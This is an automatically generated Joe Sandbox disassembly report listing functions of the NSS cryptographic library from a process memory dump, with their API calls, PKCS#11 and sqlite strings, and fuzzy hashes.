Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nvl
API String ID: 332880674-2561802492
Opcode ID: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction ID: 8ab298a56823afd8dfce007abe34c221a9e153f35e7f094a4560645055fa7749
Opcode Fuzzy Hash: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction Fuzzy Hash: 6B31F671602208ABDB00DF54DE8CFAE3775AB4631CF084434E909ABB41DB349908CBBE

Function 6C682DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C682DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682E81

Strings

ulPinLen = %d, xrefs: 6C682E7C
hSession = 0x%x, xrefs: 6C682E0E, 6C682E1E
(CK_INVALID_HANDLE), xrefs: 6C682E2C
nvl, xrefs: 6C682E99, 6C682EC4
pPin = 0x%p, xrefs: 6C682E63
C_InitPIN, xrefs: 6C682DF1

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nvl
API String ID: 1003633598-921645966
Opcode ID: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction ID: 54288f16d8b6405a2c04b4dc9760ccf5b39bb468fcb0ce6a0f6260b157164ecb
Opcode Fuzzy Hash: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction Fuzzy Hash: 7731E275602218ABDB109F55DE4CF8A3BB5EB4635CF084034E809ABB51DB309949CBBE

Function 6C687E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C687E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687E63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C687E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C687EB1

Strings

C_VerifyUpdate, xrefs: 6C687E21
ulPartLen = %d, xrefs: 6C687EAC
hSession = 0x%x, xrefs: 6C687E3E, 6C687E4E
pPart = 0x%p, xrefs: 6C687E93
(CK_INVALID_HANDLE), xrefs: 6C687E5C
nvl, xrefs: 6C687EC9, 6C687EF7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nvl
API String ID: 1003633598-1814329762
Opcode ID: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction ID: 9468a547c1a4c93a8a404c9b46335dd743b5fdc2e74ba880eba108c9a62bcd10
Opcode Fuzzy Hash: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction Fuzzy Hash: DE31B274B02118ABDB109F55DE4CF8A3BB1AB46358F084034F909ABA51DB309D09CBBE

Function 6C686EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C686F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686F53

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C686F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C686FA1

Strings

C_DigestUpdate, xrefs: 6C686F11
ulPartLen = %d, xrefs: 6C686F9C
hSession = 0x%x, xrefs: 6C686F2E, 6C686F3E
pPart = 0x%p, xrefs: 6C686F83
(CK_INVALID_HANDLE), xrefs: 6C686F4C
nvl, xrefs: 6C686FB9, 6C686FE7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nvl
API String ID: 1003633598-2481572597
Opcode ID: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction ID: d35bc0d0a244ac99e0fa54c0c7c61c7918020506b830ad2bbd48e3b9cb85113c
Opcode Fuzzy Hash: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction Fuzzy Hash: AB31C475612158AFDB009F15DE4CF8A3BB2AB4235DF084035E909ABA51DB30D948CBBE

Function 6C687F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C687F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687F93

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687FE1

Strings

ulSignatureLen = %d, xrefs: 6C687FDC
hSession = 0x%x, xrefs: 6C687F6E, 6C687F7E
(CK_INVALID_HANDLE), xrefs: 6C687F8C
pSignature = 0x%p, xrefs: 6C687FC3
nvl, xrefs: 6C687FF9, 6C688027
C_VerifyFinal, xrefs: 6C687F51

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nvl
API String ID: 1003633598-406126234
Opcode ID: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction ID: 97c9f819b8b64d4b49fde6f5ca08714c7d8272612ea73c80dc2f133d6e59f10e
Opcode Fuzzy Hash: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction Fuzzy Hash: 6631B271702158ABDB109F56DE4CF8A3BB1AB46359F044035F809ABA11DB30A948CBBE

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

%s decr => %d, xrefs: 6C64AFF0
Unloaded library %s, xrefs: 6C64B023

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

rdb:, xrefs: 6C696C69
dbm, xrefs: 6C696CA4
dbm:, xrefs: 6C696C3A
sql:, xrefs: 6C696C52
extern:, xrefs: 6C696C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

another row available, xrefs: 6C724D20
invalid, xrefs: 6C724CF1
no more rows available, xrefs: 6C724D2E
API call with %s database connection pointer, xrefs: 6C724CF6
unknown error, xrefs: 6C724D56
abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
bad parameter or other API misuse, xrefs: 6C724D05
out of memory, xrefs: 6C724C78, 6C724C9E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C682CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C682CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C682D07

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682D22

Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760B88
Part of subcall function 6C7609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C760C5D
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C760C8D
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760C9C
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760CD1
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760CEC
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760CFB
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760D16
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C760D26
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D35
